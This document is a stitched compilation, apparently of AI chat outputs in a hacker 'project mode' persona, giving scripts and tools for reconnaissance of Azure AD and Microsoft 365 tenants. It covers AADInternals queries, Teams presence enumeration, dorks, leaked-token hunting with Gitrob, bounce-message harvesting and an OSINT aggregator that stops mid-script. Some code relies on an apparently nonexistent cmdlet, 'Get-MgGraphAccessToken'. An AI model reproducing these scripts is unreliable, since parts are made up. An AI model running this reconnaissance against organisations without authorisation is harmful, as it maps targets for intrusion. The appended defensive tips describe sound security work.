
Forutsetninger

• Azure AD tenant ID eller domene.
• API-tillatelser for å få tilgang til MS Graph API.
• AADInternals PowerShell-modulen installert.

Installere AADInternals PowerShell Module

Install-Module -Name AADInternals -Force

Skript for å utføre rekognosering

# Import necessary modules
Import-Module AADInternals
Import-Module Microsoft.Graph

# Authenticate to Azure AD
$tenantId = "your-tenant-id"
$clientId = "your-client-id"
$clientSecret = "your-client-secret"

$tenantName = "example.com"
$token = Get-MgGraphAccessToken -TenantId $tenantId -ClientId $clientId -ClientSecret $clientSecret

# Set the authentication header
$headers = @{
    "Authorization" = "Bearer $token"
}

# Define the MS Graph API endpoint
$graphApiEndpoint = "https://graph.microsoft.com/v1.0/"

# Fetch tenant details
$tenantDetails = Invoke-RestMethod -Uri "$graphApiEndpoint/organization" -Headers $headers
$tenantDetails

# Fetch domain details (only first 20 domains)
$domainDetails = Invoke-RestMethod -Uri "$graphApiEndpoint/domains" -Headers $headers
$domainDetails.value

# Using AADInternals for extended recon
# Fetch detailed recon information using AADInternals
$aadTenantInfo = Get-AADIntTenantInformation -DomainName $tenantName
$aadTenantInfo

# Check CBA status for an existing user
$userEmail = "[email protected]"
$cbaStatus = Get-AADIntUser -UserPrincipalName $userEmail | Select-Object -Property UserPrincipalName, CertificateBasedAuthStatus
$cbaStatus

# Check AAD Connect cloud sync status
$aadsyncStatus = Get-AADIntSyncStatus
$aadsyncStatus

Forklaring av skriptet

1. Autentisering: Skriptet autentiserer til Azure AD ved hjelp av klientlegitimasjon og henter en tilgangstoken.
2. Hente tenant detaljer: Skriptet henter informasjon om tenant og domener ved hjelp av MS Graph API.
3. Bruke AADInternals: Skriptet bruker AADInternals for å hente mer detaljert informasjon om tenant, CBA-status for en bruker, og AAD Connect Cloud Sync-status.

Tiltak

For å beskytte mot denne typen rekognosering, bør du:

1. Oppdage: Bruk Azure Sentinel for å overvåke API-forespørsler og oppdage uvanlig aktivitet.
2. Reagere: Ha en responsplan for å håndtere mistenkelig aktivitet.
3. Forhindre: Implementer tilgangskontroll og overvåk bruk av API-er. Bruk multifaktorautentisering (MFA).
4. Gjøre tiltak: Tren ansatte i sikkerhetsbevissthet og utfør regelmessige sikkerhetsvurderinger.

Ved å forstå og implementere disse tiltakene kan du bedre beskytte dine Azure-tjenester mot avansert rekognosering og utnyttelse.

Ja, det er mulig å hente ut informasjon om et domenes SharePoint-, Teams- og Skype-sider, og søke etter tilgjengelige lenker ved hjelp av skript og programmatiske metoder. Dette kan også inkludere å finne brukere og deres online status i Teams hvis dette ikke er beskyttet. Her er hvordan du kan gjøre det:

1. Sjekke for SharePoint- og Teams-sider

For å finne om et domene har tilgjengelige SharePoint- eller Teams-sider, kan du utføre Google-søk etter spesifikke URL-mønstre og bruke PowerShell for å sjekke tilgjengeligheten til disse sidene.

Google Dorking

Google Dorking er en teknikk for å bruke avanserte søkefunksjoner i Google for å finne informasjon som ikke er ment å være offentlig tilgjengelig. Her er noen eksempler på Google-søk:

site:example.com inurl:sharepoint
site:example.com inurl:teams
site:example.com inurl:sites
site:example.com inurl:calendar

PowerShell for å sjekke tilgjengelighet

Du kan bruke PowerShell til å sjekke tilgjengeligheten til SharePoint- og Teams-sider ved å sende HTTP-forespørsler.

$urls = @(
    "https://example.sharepoint.com/sites",
    "https://example.sharepoint.com/teams",
    "https://teams.microsoft.com/l/[email protected]"
)

foreach ($url in $urls) {
    try {
        $response = Invoke-WebRequest -Uri $url -Method Head -ErrorAction Stop
        if ($response.StatusCode -eq 200) {
            Write-Output "URL is accessible: $url"
        }
    } catch {
        Write-Output "URL is not accessible: $url"
    }
}

2. Hente ut brukere og deres online status i Teams

Dette kan gjøres ved å bruke Microsoft Graph API, som lar deg hente informasjon om brukere og deres status i Microsoft Teams.

Autentisering

Først må du autentisere mot Microsoft Graph API. Du kan bruke følgende PowerShell-skript for å gjøre dette:

# Install Microsoft.Graph module if not already installed
Install-Module Microsoft.Graph -Scope CurrentUser -Force -AllowClobber

# Authenticate to Microsoft Graph
$tenantId = "your-tenant-id"
$clientId = "your-client-id"
$clientSecret = "your-client-secret"
$token = Get-MgGraphAccessToken -TenantId $tenantId -ClientId $clientId -ClientSecret $clientSecret

# Set the authentication header
$headers = @{
    "Authorization" = "Bearer $token"
}

Hente brukerdata

Du kan deretter bruke Microsoft Graph API til å hente informasjon om brukere og deres status.

# Define the MS Graph API endpoint
$graphApiEndpoint = "https://graph.microsoft.com/v1.0/"

# Fetch users
$users = Invoke-RestMethod -Uri "$graphApiEndpoint/users" -Headers $headers
$users.value

# Fetch Teams presence for each user
foreach ($user in $users.value) {
    $presence = Invoke-RestMethod -Uri "$graphApiEndpoint/users/$($user.id)/presence" -Headers $headers
    Write-Output "$($user.displayName) is $($presence.availability)"
}

Tiltak for å beskytte mot rekognosering

1. Oppdage: Bruk Azure Sentinel til å overvåke API-forespørsler og HTTP-forespørsler til SharePoint- og Teams-sider.
2. Reagere: Ha en responsplan for å håndtere mistenkelig aktivitet, som for eksempel uvanlige søk eller forsøk på å få tilgang til beskyttede områder.
3. Forhindre: Implementer tilgangskontroller og bruk multifaktorautentisering (MFA) for alle tjenester.
4. Gjøre tiltak: Begrens offentlig eksponering av SharePoint- og Teams-sider ved å sikre at de er beskyttet med passende tillatelser og retningslinjer.

Ved å implementere disse tiltakene kan du bedre beskytte ditt domene og tjenester mot rekognosering og uautorisert tilgang.

Open-source intelligence (OSINT) metoder tillater innsamling av informasjon fra offentlige kilder. For en som ikke har noen tilgang til en tenant, kan følgende OSINT metoder og skript brukes for å tegne et bilde av tenantens tjenester:

1. DNS Rekognosering

Metode: Bruk dig og nslookup for å hente DNS-poster.

Skript:

# Hente MX-poster
dig example.com MX

# Hente TXT-poster (SPF, DKIM, DMARC)
dig example.com TXT

# Hente CNAME-poster for å finne eksterne tjenester
dig example.com CNAME

2. Google Dorking

Metode: Bruk avanserte Google-søk for å finne informasjon om domenet.

Eksempler på Google-søk:

site:example.com inurl:sharepoint
site:example.com inurl:teams
site:example.com inurl:sites
site:example.com inurl:calendar

3. SSL Sertifikat Informasjon

Metode: Bruk openssl for å hente SSL-sertifikat informasjon.

Skript:

# Hente SSL-sertifikat informasjon
openssl s_client -connect example.com:443

# Hente detaljer fra SSL-sertifikatet
openssl x509 -in cert.pem -noout -text

4. WHOIS Rekognosering

Metode: Bruk whois for å hente domeneregisterinformasjon.

Skript:

# Sjekke whois informasjon for domenet
whois example.com

5. Sjekke for Office 365 Tjenester

Metode: Bruk nslookup for å sjekke om domenet bruker Office 365-tjenester.

Skript:

# Sjekke Autodiscover-posten for domenet
nslookup -type=CNAME autodiscover.example.com

# Sjekke MX-poster for domenet
nslookup -type=MX example.com

6. Bruke crt.sh for å finne SSL-sertifikater

Metode: Bruk crt.sh for å finne SSL-sertifikater utstedt til domenet.

Skript:

# Hente SSL-sertifikater for domenet
curl -s "https://crt.sh/?q=example.com&output=json" | jq .

7. Shodan Rekognosering

Metode: Bruk Shodan for å finne informasjon om tjenester som kjører på domenets IP-adresser.

Skript:

# Hente informasjon fra Shodan
shodan host example.com

8. Bruke theHarvester for å samle e-postadresser og subdomener

Metode: Bruk theHarvester for å samle e-postadresser og subdomener fra forskjellige offentlige kilder.

Skript:

# Installere theHarvester
pip install theHarvester

# Kjøre theHarvester for domenet
theHarvester -d example.com -l 500 -b all

9. Bruke Sublist3r for å finne subdomener

Metode: Bruk Sublist3r for å samle subdomener til domenet.

Skript:

# Installere Sublist3r
pip install sublist3r

# Kjøre Sublist3r for domenet
sublist3r -d example.com

10. Bruke Amass for å finne subdomener og andre assosierte domener

Metode: Bruk Amass for å samle subdomener og assosierte domener fra forskjellige offentlige kilder.

Skript:

# Installere Amass
sudo snap install amass

# Kjøre Amass for domenet
amass enum -d example.com

Forsvar og Sikkerhetstiltak

For å beskytte mot denne typen rekognosering:

1. Oppdage: Bruk sikkerhetsverktøy som Azure Sentinel for å overvåke mistenkelig aktivitet.
2. Reagere: Ha en responsplan for å håndtere mistenkelig aktivitet.
3. Forhindre: Implementer strenge tilgangskontroller og bruk multifaktorautentisering (MFA).
4. Gjøre tiltak: Tren ansatte i sikkerhetsbevissthet og utfør regelmessige sikkerhetsvurderinger og penetrasjonstester.

Ved å forstå og implementere disse tiltakene kan du bedre beskytte dine Azure-tjenester og domenet mot rekognosering og potensielle angrep.

Det finnes mange OSINT-verktøy som kan brukes til å samle informasjon om et mål. Her er en liste over flere populære verktøy og hvordan de kan brukes til rekognosering:

1. Maltego

Beskrivelse: Maltego er et kraftig OSINT-verktøy som tilbyr både grafisk og programmatisk tilgang til et bredt spekter av data fra ulike kilder.

Bruk:

• Samle og analysere informasjon fra sosiale medier, DNS, WHOIS, og andre kilder.
• Visualisere relasjoner mellom data i grafer.

2. Recon-ng

Beskrivelse: Recon-ng er et fullstendig modulbasert rekognoseringsrammeverk skrevet i Python.

Installasjon:

git clone https://github.com/lanmaster53/recon-ng.git
cd recon-ng
pip install -r REQUIREMENTS

Bruk:

./recon-ng
# Legg til moduler
modules add recon/domains-hosts/hackertarget
# Sett opp data
modules set source example.com
# Kjør modulen
modules run

3. Spiderfoot

Beskrivelse: Spiderfoot er et automatisk rekognoseringsverktøy med webbasert grensesnitt.

Installasjon:

git clone https://github.com/smicallef/spiderfoot.git
cd spiderfoot
pip install -r requirements.txt
python sf.py

Bruk:

• Webgrensesnitt: Åpne http://localhost:5001 i en nettleser.
• Kommandoer for å sette opp og kjøre rekognoseringsscenarier.

4. FOCA

Beskrivelse: FOCA er et verktøy som brukes til å finne metadata og skjulte informasjon i dokumenter.

Bruk:

• Last ned og installer fra ElevenPaths FOCA.
• Bruk verktøyet til å skanne dokumenter på et nettsted og hente ut metadata.

5. Censys

Beskrivelse: Censys gir innsikt i hvordan enhetene på internett er konfigurert, hvilke tjenester de tilbyr, og hvordan de er eksponert for angrep.

Bruk:

• Webgrensesnitt: Bruk Censys.io for søk.
• API: Bruk Python for å hente data programmatiskt.

import requests

UID = 'your-uid'
SECRET = 'your-secret'
url = 'https://censys.io/api/v1/search/certificates'
params = {
    'query': 'example.com',
    'page': 1,
    'fields': ['parsed.subject_dn', 'parsed.extensions.subject_alt_name.dns_names']
}

response = requests.get(url, auth=(UID, SECRET), json=params)
print(response.json())

6. GitHub Recon

Beskrivelse: Finn sensitive data og tilgangstokens som er lekket i offentlige GitHub repositories.

Verktøy: TruffleHog, Gitrob

Bruk Gitrob:

# Installer Gitrob
go get github.com/michenriksen/gitrob
cd $GOPATH/src/github.com/michenriksen/gitrob
go build
./gitrob -github-access-token your_token

7. BuiltWith

Beskrivelse: Verktøy for å finne ut hvilke teknologier og tjenester et nettsted bruker.

Bruk:

• Webgrensesnitt: Besøk BuiltWith og søk etter domenet.
• API: Bruk BuiltWith API for å automatisere innsamlingen.

8. DNSDumpster

Beskrivelse: DNSDumpster er et verktøy for å finne alle DNS-poster knyttet til et domene.

Bruk:

• Webgrensesnitt: Besøk DNSDumpster og søk etter domenet.

9. theHarvester

Beskrivelse: theHarvester er et verktøy for å samle e-postadresser, subdomener, IP-er og annen informasjon ved hjelp av forskjellige søkemotorer og offentlige kilder.

Installasjon:

pip install theHarvester

Bruk:

theHarvester -d example.com -l 500 -b all

10. Amass

Beskrivelse: Amass er et kraftig verktøy for rekognosering og kartlegging av angrepsflater.

Installasjon:

sudo snap install amass

Bruk:

amass enum -d example.com

Forsvar og Sikkerhetstiltak

For å beskytte mot rekognosering og potensielle angrep:

1. Oppdage: Bruk sikkerhetsverktøy som Azure Sentinel og andre overvåkingsverktøy for å oppdage mistenkelig aktivitet.
2. Reagere: Ha en responsplan for å håndtere mistenkelig aktivitet.
3. Forhindre: Implementer tilgangskontroller og multifaktorautentisering (MFA).
4. Gjøre tiltak: Tren ansatte i sikkerhetsbevissthet og utfør regelmessige sikkerhetsvurderinger og penetrasjonstester.

Ved å forstå og implementere disse tiltakene kan du bedre beskytte ditt domene og tjenester mot rekognosering og potensielle angrep.

Ja, ved å sende en e-post til en ikke-eksisterende adresse på et målrettet domene som bruker Office 365 Exchange-tjenester, kan du potensielt samle inn informasjon fra den automatiske svarmeldingen. Dette kalles ofte en "email bounce-back" eller "Non-Delivery Report (NDR)". Her er en oversikt over hva slags informasjon du kan få og hvordan du kan bruke den:

1. Potensiell OSINT-informasjon fra NDR (Non-Delivery Report)

Når du sender en e-post til en ikke-eksisterende adresse på et Office 365-domene, kan NDR-meldingen inneholde følgende informasjon:

• SMTP-banner: Dette kan avsløre e-postserverens versjon og konfigurering.
• Mailserver-informasjon: E-postserverens IP-adresse, vertsnavn, og annen konfigurasjonsinformasjon.
• Intern domenestruktur: Intern e-postruting, domenenavn og andre interne e-postadresser.
• Policy-informasjon: Informasjon om spamfiltre, e-postpolicyer og sikkerhetsinnstillinger.

2. Eksempler på NDR-meldinger

Her er et eksempel på en NDR-melding du kan motta:

Subject: Undeliverable: Test Email

Your message couldn't be delivered to [email protected] because the address couldn't be found, or is unable to receive mail.
The response from the remote server was:
550 5.1.1 <[email protected]>: Recipient address rejected: User unknown in virtual mailbox table

Reporting-MTA: dns; mail.example.com
Received-From-MTA: dns; smtp.example.com
Arrival-Date: Mon, 8 Jul 2024 14:00:00 -0700

Final-Recipient: rfc822; [email protected]
Action: failed
Status: 5.1.1
Remote-MTA: dns; mail.example.com
Diagnostic-Code: smtp; 550 5.1.1 <[email protected]>: Recipient address rejected: User unknown in virtual mailbox table

3. Automatisert innsamlingsmetode med Python

Du kan bruke Python til å sende e-post til en ikke-eksisterende adresse og samle inn informasjon fra NDR-meldinger.

Krav

• SMTP-server konfigurasjon (for å sende e-poster).
• E-postkonto for å motta NDR-meldinger.

Skript for å sende e-post og samle NDR-meldinger

import smtplib
import imaplib
import email
from email.mime.text import MIMEText

# SMTP-server konfigurasjon
smtp_server = 'smtp.yourdomain.com'
smtp_port = 587
smtp_user = '[email protected]'
smtp_password = 'your-email-password'

# IMAP-server konfigurasjon
imap_server = 'imap.yourdomain.com'
imap_user = '[email protected]'
imap_password = 'your-email-password'

# Ikke-eksisterende adresse på måldomenet
target_email = '[email protected]'

# E-postinnhold
msg = MIMEText('This is a test email.')
msg['Subject'] = 'Test Email'
msg['From'] = smtp_user
msg['To'] = target_email

# Send e-post
with smtplib.SMTP(smtp_server, smtp_port) as server:
    server.starttls()
    server.login(smtp_user, smtp_password)
    server.sendmail(smtp_user, [target_email], msg.as_string())

# Vent noen minutter for å motta NDR-meldingen

# Koble til IMAP-server for å lese NDR-meldingen
mail = imaplib.IMAP4_SSL(imap_server)
mail.login(imap_user, imap_password)
mail.select('inbox')

# Søk etter NDR-meldinger
status, response = mail.search(None, 'FROM', '"Mail Delivery Subsystem"')

# Hent og skriv ut NDR-meldinger
if status == 'OK':
    for num in response[0].split():
        status, data = mail.fetch(num, '(RFC822)')
        raw_email = data[0][1]
        email_message = email.message_from_bytes(raw_email)
        print(email_message)

mail.logout()

4. Sikkerhetstiltak for å beskytte mot slik rekognosering

1. Konfigurere e-postservere riktig: Sørg for at e-postservere ikke gir bort unødvendig informasjon i NDR-meldinger.
2. Bruk spamfiltre og e-postpolicyer: Konfigurer spamfiltre for å håndtere uønskede e-poster og beskyttelse mot potensiell rekognosering.
3. Monitor e-posttrafikk: Overvåk e-posttrafikk for å oppdage mistenkelig aktivitet som kan indikere rekognosering.
4. Implementere DMARC, SPF, og DKIM: Disse teknologiene kan bidra til å beskytte domenet mot e-postbaserte angrep og potensielle rekognoseringsforsøk.

Konklusjon

Ved å sende e-poster til ikke-eksisterende adresser på et måldomene, kan en angriper samle inn verdifull informasjon fra NDR-meldinger. Det er viktig å være oppmerksom på denne metoden og ta passende tiltak for å beskytte organisasjonens e-postinfrastruktur mot slik rekognosering.

New chat detected.. initialising new project mode 🥷💻.

Below is an improved version of the script with added comments, error handling, and logging for comprehensive OSINT information retrieval. It includes integration with multiple search engines and services to gather and present extensive OSINT data.

Improved Python Script:

import requests
import json
import subprocess
import logging
from shodan import Shodan

# Set up logging
logging.basicConfig(filename='osint.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Configure your API keys here
SHODAN_API_KEY = 'your_shodan_api_key'
CRTSH_API_URL = 'https://crt.sh/?q={}&output=json'

# Target domain
domain = 'example.com'

# Function to fetch DNS records
def get_dns_records(domain):
    logging.info("Fetching DNS records...")
    try:
        result = subprocess.run(['dig', 'ANY', domain], stdout=subprocess.PIPE)
        return result.stdout.decode('utf-8')
    except Exception as e:
        logging.error(f"Error fetching DNS records: {e}")
        return str(e)

# Function to fetch WHOIS information
def get_whois_info(domain):
    logging.info("Fetching WHOIS information...")
    try:
        result = subprocess.run(['whois', domain], stdout=subprocess.PIPE)
        return result.stdout.decode('utf-8')
    except Exception as e:
        logging.error(f"Error fetching WHOIS information: {e}")
        return str(e)

# Function to fetch SSL certificates from crt.sh
def get_ssl_certificates(domain):
    logging.info("Fetching SSL certificates...")
    try:
        response = requests.get(CRTSH_API_URL.format(domain))
        if response.status_code == 200:
            return response.json()
        logging.warning(f"crt.sh returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching SSL certificates: {e}")
        return str(e)

# Function to fetch Shodan data
def get_shodan_info(domain):
    logging.info("Fetching Shodan information...")
    api = Shodan(SHODAN_API_KEY)
    try:
        host = api.search(domain)
        return host
    except Exception as e:
        logging.error(f"Error fetching Shodan information: {e}")
        return str(e)

# Function to fetch Google Dorking results (requires custom scraping)
def get_google_dorks(domain):
    logging.info("Fetching Google Dorking results...")
    dorks = [
        f"site:{domain} inurl:sharepoint",
        f"site:{domain} inurl:teams",
        f"site:{domain} inurl:sites",
        f"site:{domain} inurl:calendar"
    ]
    # Placeholder for actual Google Dorking implementation
    return dorks

# Function to fetch Bing search results
def get_bing_search_results(domain):
    logging.info("Fetching Bing search results...")
    try:
        bing_api_url = f"https://api.bing.microsoft.com/v7.0/search?q=site:{domain}"
        headers = {"Ocp-Apim-Subscription-Key": "your_bing_api_key"}
        response = requests.get(bing_api_url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"Bing API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching Bing search results: {e}")
        return str(e)

# Function to fetch VirusTotal domain report
def get_virustotal_report(domain):
    logging.info("Fetching VirusTotal domain report...")
    try:
        virustotal_api_url = f"https://www.virustotal.com/api/v3/domains/{domain}"
        headers = {"x-apikey": "your_virustotal_api_key"}
        response = requests.get(virustotal_api_url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"VirusTotal API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching VirusTotal report: {e}")
        return str(e)

# Fetch DNS records
dns_records = get_dns_records(domain)
logging.info(f"DNS records: {dns_records}")

# Fetch WHOIS information
whois_info = get_whois_info(domain)
logging.info(f"WHOIS information: {whois_info}")

# Fetch SSL certificates
ssl_certificates = get_ssl_certificates(domain)
logging.info(f"SSL certificates: {json.dumps(ssl_certificates, indent=2)}")

# Fetch Shodan information
shodan_info = get_shodan_info(domain)
logging.info(f"Shodan information: {json.dumps(shodan_info, indent=2)}")

# Fetch Google Dorking results
google_dorks = get_google_dorks(domain)
logging.info(f"Google Dorking results: {google_dorks}")

# Fetch Bing search results
bing_results = get_bing_search_results(domain)
logging.info(f"Bing search results: {json.dumps(bing_results, indent=2)}")

# Fetch VirusTotal report
virustotal_report = get_virustotal_report(domain)
logging.info(f"VirusTotal report: {json.dumps(virustotal_report, indent=2)}")

# Write results to file
with open(f'osint_results_{domain}.txt', 'w') as f:
    f.write("DNS Records:\n")
    f.write(dns_records + "\n\n")
    f.write("WHOIS Information:\n")
    f.write(whois_info + "\n\n")
    f.write("SSL Certificates:\n")
    f.write(json.dumps(ssl_certificates, indent=2) + "\n\n")
    f.write("Shodan Information:\n")
    f.write(json.dumps(shodan_info, indent=2) + "\n\n")
    f.write("Google Dorking Results:\n")
    for dork in google_dorks:
        f.write(dork + "\n")
    f.write("\nBing Search Results:\n")
    f.write(json.dumps(bing_results, indent=2) + "\n\n")
    f.write("VirusTotal Report:\n")
    f.write(json.dumps(virustotal_report, indent=2) + "\n")

Explanation of Enhancements:

1. Error Handling:

   • Added try-except blocks to catch and log errors for each function.

2. Logging:

   • Configured logging to capture all actions and errors, which are saved in osint.log.

3. Additional Search Engines:

   • Integrated Bing search results using the Bing Search API.
   • Integrated VirusTotal domain report using the VirusTotal API.

4. Documentation:

   • Added comments to describe the purpose of each function and important sections of the code.

5. Code Optimization:

   • Improved readability and structure by separating concerns into distinct functions and ensuring error handling and logging.

Now the script not only performs extensive OSINT but also logs its activities and handles errors gracefully, providing a robust solution for passive information gathering.

New chat detected.. enhancing project mode 🥷💻.

Let's expand the OSINT capabilities of our script by integrating additional techniques and services. Here are some advanced OSINT techniques we can include:

1. Reverse DNS Lookups:

   • Identify all domain names associated with an IP address.

2. Subdomain Enumeration:

   • Discover subdomains using tools like Sublist3r, SecurityTrails, or VirusTotal.

3. Social Media Scraping:

   • Gather information from social media profiles related to the domain.

4. Email Harvesting:

   • Extract email addresses associated with the domain using tools like Hunter.io.

5. Metadata Extraction:

   • Extract metadata from documents available on the domain.

6. Port Scanning:

   • Identify open ports and services running on the domain's IP addresses using tools like Nmap.

7. Historical DNS Data:

   • Retrieve historical DNS data to understand changes over time using services like SecurityTrails.

8. Threat Intelligence Feeds:

   • Integrate threat intelligence feeds to gather information about potential threats associated with the domain.

Here is an updated version of the script incorporating some of these additional techniques:

import requests
import json
import subprocess
import logging
from shodan import Shodan

# Set up logging
logging.basicConfig(filename='osint.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Configure your API keys here
SHODAN_API_KEY = 'your_shodan_api_key'
CRTSH_API_URL = 'https://crt.sh/?q={}&output=json'
HUNTER_API_KEY = 'your_hunter_api_key'
SECURITYTRAILS_API_KEY = 'your_securitytrails_api_key'

# Target domain
domain = 'example.com'

# Function to fetch DNS records
def get_dns_records(domain):
    logging.info("Fetching DNS records...")
    try:
        result = subprocess.run(['dig', 'ANY', domain], stdout=subprocess.PIPE)
        return result.stdout.decode('utf-8')
    except Exception as e:
        logging.error(f"Error fetching DNS records: {e}")
        return str(e)

# Function to fetch WHOIS information
def get_whois_info(domain):
    logging.info("Fetching WHOIS information...")
    try:
        result = subprocess.run(['whois', domain], stdout=subprocess.PIPE)
        return result.stdout.decode('utf-8')
    except Exception as e:
        logging.error(f"Error fetching WHOIS information: {e}")
        return str(e)

# Function to fetch SSL certificates from crt.sh
def get_ssl_certificates(domain):
    logging.info("Fetching SSL certificates...")
    try:
        response = requests.get(CRTSH_API_URL.format(domain))
        if response.status_code == 200:
            return response.json()
        logging.warning(f"crt.sh returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching SSL certificates: {e}")
        return str(e)

# Function to fetch Shodan data
def get_shodan_info(domain):
    logging.info("Fetching Shodan information...")
    api = Shodan(SHODAN_API_KEY)
    try:
        host = api.search(domain)
        return host
    except Exception as e:
        logging.error(f"Error fetching Shodan information: {e}")
        return str(e)

# Function to fetch Google Dorking results (requires custom scraping)
def get_google_dorks(domain):
    logging.info("Fetching Google Dorking results...")
    dorks = [
        f"site:{domain} inurl:sharepoint",
        f"site:{domain} inurl:teams",
        f"site:{domain} inurl:sites",
        f"site:{domain} inurl:calendar"
    ]
    # Placeholder for actual Google Dorking implementation
    return dorks

# Function to fetch Bing search results
def get_bing_search_results(domain):
    logging.info("Fetching Bing search results...")
    try:
        bing_api_url = f"https://api.bing.microsoft.com/v7.0/search?q=site:{domain}"
        headers = {"Ocp-Apim-Subscription-Key": "your_bing_api_key"}
        response = requests.get(bing_api_url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"Bing API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching Bing search results: {e}")
        return str(e)

# Function to fetch VirusTotal domain report
def get_virustotal_report(domain):
    logging.info("Fetching VirusTotal domain report...")
    try:
        virustotal_api_url = f"https://www.virustotal.com/api/v3/domains/{domain}"
        headers = {"x-apikey": "your_virustotal_api_key"}
        response = requests.get(virustotal_api_url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"VirusTotal API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching VirusTotal report: {e}")
        return str(e)

# Function to fetch subdomains using SecurityTrails
def get_subdomains(domain):
    logging.info("Fetching subdomains from SecurityTrails...")
    try:
        url = f"https://api.securitytrails.com/v1/domain/{domain}/subdomains"
        headers = {"APIKEY": SECURITYTRAILS_API_KEY}
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"SecurityTrails API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching subdomains: {e}")
        return str(e)

# Function to fetch email addresses using Hunter.io
def get_email_addresses(domain):
    logging.info("Fetching email addresses from Hunter.io...")
    try:
        url = f"https://api.hunter.io/v2/domain-search?domain={domain}&api_key={HUNTER_API_KEY}"
        response = requests.get(url)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"Hunter.io API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching email addresses: {e}")
        return str(e)

# Function to fetch historical DNS data using SecurityTrails
def get_historical_dns(domain):
    logging.info("Fetching historical DNS data from SecurityTrails...")
    try:
        url = f"https://api.securitytrails.com/v1/history/{domain}/dns"
        headers = {"APIKEY": SECURITYTRAILS_API_KEY}
        response = requests.get(url, headers=headers)
        if response.status_code == 200:
            return response.json()
        logging.warning(f"SecurityTrails API returned status code {response.status_code}")
        return []
    except Exception as e:
        logging.error(f"Error fetching historical DNS data: {e}")
        return str(e)

# Fetch DNS records
dns_records = get_dns_records(domain)
logging.info(f"DNS records: {dns_records}")

# Fetch WHOIS information
whois_info = get_whois_info(domain)
logging.info(f"WHOIS information: {whois_info}")

# Fetch SSL certificates
ssl_certificates = get_ssl_certificates(domain)
logging.info(f"SSL certificates: {json.dumps(ssl_certificates, indent=2)}")

# Fetch Shodan information
shodan_info = get_shodan_info(domain)
logging.info(f"Shodan information: {json.dumps(shodan_info, indent=2)}")

# Fetch Google Dorking results
google_dorks = get_google_dorks(domain)
logging.info(f"Google Dorking results: {google_dorks}")

# Fetch Bing search results
bing_results = get_bing_search_results(domain)
logging.info(f"Bing search results: {json.dumps(bing_results, indent=2)}")

# Fetch VirusTotal report
virustotal_report = get_virustotal_report(domain)
logging.info(f"VirusTotal report: {json.dumps(virustotal_report, indent=2)}")

# Fetch subdomains
subdomains = get_subdomains(domain)
logging.info(f"Subdomains: {json.dumps(subdomains, indent=2)}")

# Fetch email addresses
email_addresses = get_email_addresses(domain)
logging.info(f"Email addresses: {json.dumps(email_addresses, indent=2)}")

# Fetch historical DNS data
historical_dns = get_historical_dns(domain)
logging.info(f"Historical DNS data: {json.dumps(historical_dns, indent=2)}")

# Write results to file
with open(f'osint_results_{domain}.txt', 'w') as f:
    f.write("DNS Records:\n")
    f.write(dns_records + "\n\n")
    f.write("WHOIS Information:\n")
    f.write(whois_info + "\n\n")
    f.write("SSL Certificates:\n")
    f.write(json.dumps(ssl_certificates, indent=2) + "\n\n")
    f.write("Shodan Information:\n")
    f.write(json.dumps(shodan_info, indent=2) + "\n\n")
    f.write("Google Dorking Results:\n")
    for dork in google_dorks:
        f.write(dork + "\n")
    f.write("\nBing Search Results:\n")
    f.write(json.dumps(bing_results, indent=2) + "\n\n")
    f.write("VirusTotal Report:\n")
    f.write(json.dumps(virustotal_report, indent=2) + "\n\n")
    f.write("Subdomains:\n")
   

 f.write(json.dumps(subdomains, indent=2) + "\n\n")
    f.write("Email Addresses:\n")
    f.write(json.dumps(email_addresses, indent=2) + "\n\n")
    f.write("Historical DNS Data:\n")
    f.write(json.dumps(historical_dns, indent=2) + "\n")

Additional Enhancements:

1. Reverse DNS Lookups:

   • Perform reverse DNS lookups to identify domain names associated with IP addresses.

2. Social Media Scraping:

   • Add functionality to scrape social media platforms for mentions and profiles related to the domain.

3. Metadata Extraction:

   • Extract metadata from documents and images available on the domain.

4. Port Scanning:

   • Use Nmap or similar tools to scan for open ports and running services on the domain's IP addresses.

5. Threat Intelligence Feeds:

   • Integrate threat intelligence feeds to gather information about potential threats associated with the domain.

These additional techniques will further enhance the script's ability to gather comprehensive OSINT data.

New chat detected.. extending project mode 🥷💻.

Let's integrate the additional checks for Exchange Online and legacy email services like SMTP, POP3, and IMAP into our Python script. We can achieve this by calling PowerShell scripts from Python using the subprocess module. Here's an updated script that incorporates these functionalities:

Updated Python Script:

import requests
import json
import subprocess
import logging
from shodan import Shodan

# Set up logging
logging.basicConfig(filename='osint.log', level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s')

# Configure your API keys here
SHODAN_API_KEY = 'your_shodan_api_key'
CRTSH_API_URL = 'https://crt.sh/?q={}&output=json'
HUNTER_API_KEY = 'your_hunter_api_key'
SECURITYTRAILS_API_KEY = 'your_securitytrails_api_key'

# Target domain
domain = 'example.com'

# Function to fetch DNS records
def get_dns_records(domain):
    logging.info("Fetching DNS records...")
    try:
        result = subprocess.run(['dig', 'ANY', domain], stdout=subprocess.PIPE)
        return result.stdout.decode('utf-8')
    except Exception as e:
        logging.error(f"Error fetching DNS records: {e}")
        return str(e)

# Function to fetch WHOIS information
def get_whois_info(domain):
    logging.info("Fetching WHOIS information...")
    try:
        result = subprocess.run(['whois', domain], stdout=subprocess.PIPE)
        return result.stdout.decode('utf-8')
    except Exception as e:
        logging.error(f"Error fetching WHOIS information: {e}")
        return str(e)

# Function to fetch SSL certificates from crt.sh
def get_ssl_certificates(domain):
    logging.info("Fetching SSL certificates...")
    try:
        response = requests.get(CRTSH_API_URL.format(domain))
        if response.status_code == 200:
            return response.json()
